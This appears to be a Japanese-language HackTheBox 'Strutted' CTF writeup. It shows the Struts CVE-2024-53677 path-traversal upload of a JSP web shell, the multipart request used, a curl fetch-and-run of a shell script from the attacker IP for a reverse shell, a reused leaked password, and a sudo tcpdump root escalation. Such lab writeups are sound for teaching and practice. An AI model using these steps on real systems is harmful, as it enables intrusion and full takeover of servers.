【HackTheBox】Strutted：Writeup

# 概要

HackTheBox「Strutted」のWriteupです。

https://app.hackthebox.com/machines/Strutted

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sCV -A -T4 -p- 10.10.11.59 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.9p1|
|80|http|nginx 1.18.0|

ドメインが分かったので`/etc/hosts`に追記します。

```
10.10.11.59     strutted.htb
```

`http://strutted.htb/`へアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0eed9d07-b7b0-44aa-9d70-60d2e1eb7e16.png)

右上の`Download`からWebサイトのソースコードをダウンロードできました。

`pom.xml`から`Apache struts 6.3.0.1`がフレームワークとして利用されていると分かりました。

https://struts.apache.org/

```strutted/pom.xml
(省略)

<properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>17</maven.compiler.source>
    <maven.compiler.target>17</maven.compiler.target>
    <struts2.version>6.3.0.1</struts2.version>
    <jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
    <maven.javadoc.skip>true</maven.javadoc.skip>
    <jackson.version>2.14.1</jackson.version>
    <jackson-data-bind.version>2.14.1</jackson-data-bind.version>
</properties>
```

`apache struts cve 2024`などで検索すると、RCEの脆弱性`CVE-2024-53677`を発見しました。

この脆弱性は、パストラバーサルを利用して任意のファイルを任意のディレクトリにアップロード出来るようです。
それにより悪意のあるJSPファイルをアップロードすることでRCEに繋げられるようです。

https://www.intellilink.co.jp/column/vulner/2025/012100.aspx

https://rocket-boys.co.jp/security-measures-lab/11533/

ファイルアップロード機能のコードを確認すると、`jpeg`,`png`,`gif`ファイル拡張子が許可されていると分かりました。

```/strutted/src/main/java/org/strutted/htb/Upload.java
private boolean isAllowedContentType(String contentType) {
    String[] allowedTypes = {"image/jpeg", "image/png", "image/gif"};
    for (String allowedType : allowedTypes) {
        if (allowedType.equalsIgnoreCase(contentType)) {
            return true;
        }
    }
    return false;
}
```

拡張子の判定の処理を見ます。
ファイルのマジックナンバーでアップロード制限をしています。

```/strutted/src/main/java/org/strutted/htb/Upload.java
private boolean isImageByMagicBytes(File file) {
    byte[] header = new byte[8];
    try (InputStream in = new FileInputStream(file)) {
        int bytesRead = in.read(header, 0, 8);
        if (bytesRead < 8) {
            return false;
        }

        // JPEG
        if (header[0] == (byte)0xFF && header[1] == (byte)0xD8 && header[2] == (byte)0xFF) {
            return true;
        }

        // PNG
        if (header[0] == (byte)0x89 && header[1] == (byte)0x50 && header[2] == (byte)0x4E && header[3] == (byte)0x47) {
            return true;
        }

        // GIF (GIF87a or GIF89a)
        if (header[0] == (byte)0x47 && header[1] == (byte)0x49 && header[2] == (byte)0x46 &&
            header[3] == (byte)0x38 && (header[4] == (byte)0x37 || header[4] == (byte)0x39) && header[5] == (byte)0x61) {
            return true;
        }
```

マジックナンバーでテスト用のjpegファイルを作成し、ファイルのアップロードに成功しました。

```
$ print '\xFF\xD8\xFF' > test.jpeg      
                                                                                                       
┌──(kali㉿kali)-[~/Strutted]
└─$ echo 'hello' >> test.jpeg
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/20ef0349-4c7a-4bce-9410-03a97a45f03a.png)

様々なPoCを見るとマジックナンバーの後にJSPコードを挿入出来るようです。
JSPのシェルコードは下記を利用しました。

https://raw.githubusercontent.com/TAM-K592/CVE-2024-53677-S2-067/refs/heads/ALOK/shell.jsp

POSTリクエストのBodyを一部抜粋すると下記のようになりました。

```

(省略)

-----------------------------270809347519694441851360887477
Content-Disposition: form-data; name="Upload"; filename="test.jpeg"
Content-Type: image/jpeg

ÿØÿ
<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%

(省略)

%>
-----------------------------270809347519694441851360887477
Content-Disposition: form-data; name="top.UploadFileName"

../../revshell.jsp
-----------------------------270809347519694441851360887477--
```

注意すべき点は`name="Upload"`,`name="top.UploadFileName"`と、中間のboundaryで`--`を付けない事です。
これを付けるとパストラバーサルに失敗します。

アップロードに成功するとレスポンスから、`uploads/20250408_144513/../../revshell.jsp`にファイルをアップロードできたと分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/2ee13266-0632-4abb-b35d-e9321360c630.png)

`revshell.jsp?action=cmd&cmd=ls`のようなリクエストを送信するとRCEが成功しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b3393ac4-eb2f-4935-b1be-3f4ba0167ba0.png)

以下のコマンドを順に実行しリバースシェルを張ります。

1. `cmd=curl http://10.10.14.136:8000/shell.sh -o /tmp/shell.sh`
1. `chmod +x /tmp/shell.sh`
3. `bash /tmp/shell.sh`

tomcatのシェルを取得できました。

```
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.136] from (UNKNOWN) [10.10.11.59] 56452
bash: cannot set terminal process group (1052): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@strutted:~$ whoami
whoami
tomcat
```

TTYの設定をします。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

tomcatのアカウント認証ファイル`tomcat-users.xml`をみるとパスワードの文字列が記載されています。

```/etc/tomcat9/tomcat-users.xml

(省略)

<!--
  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
  <role rolename="manager-gui"/>
  <role rolename="admin-gui"/>
  <user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->

(省略)

```

得られたパスワードでSSH接続に成功しました。

```
$ ssh james@strutted.htb
```

`/home/james/user.txt`からユーザーフラグを入手できました。

```
$ cat user.txt
129b84a2a8e0925db69c37fe9c51ae0b
```

# Root Flag

`sudo -l`で確認すると`/usr/sbin/tcpdump`が設定されています。

```
$ sudo -l
Matching Defaults entries for james on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/tcpdump
```

GTFOBinsで権限昇格を見つけました。

https://gtfobins.github.io/gtfobins/tcpdump/#sudo

記載通りに実行し、bashにSUIDを設定できました。

```
-bash-5.1$ COMMAND='chmod u+s /bin/bash'
-bash-5.1$ TF=$(mktemp)
-bash-5.1$ echo "$COMMAND" > $TF
-bash-5.1$ chmod +x $TF
-bash-5.1$ sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
-bash-5.1$ whoami
james
-bash-5.1$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash
```

bashのSUIDを利用してroot権限に昇格出来ました。

```
-bash-5.1$ /bin/bash -p
bash-5.1# whoami
root
```

`/root/root.txt`からルートフラグを入手できました。

```
bash-5.1# cat /root/root.txt
39fb83665a3ce29520d7807a9363bad5
```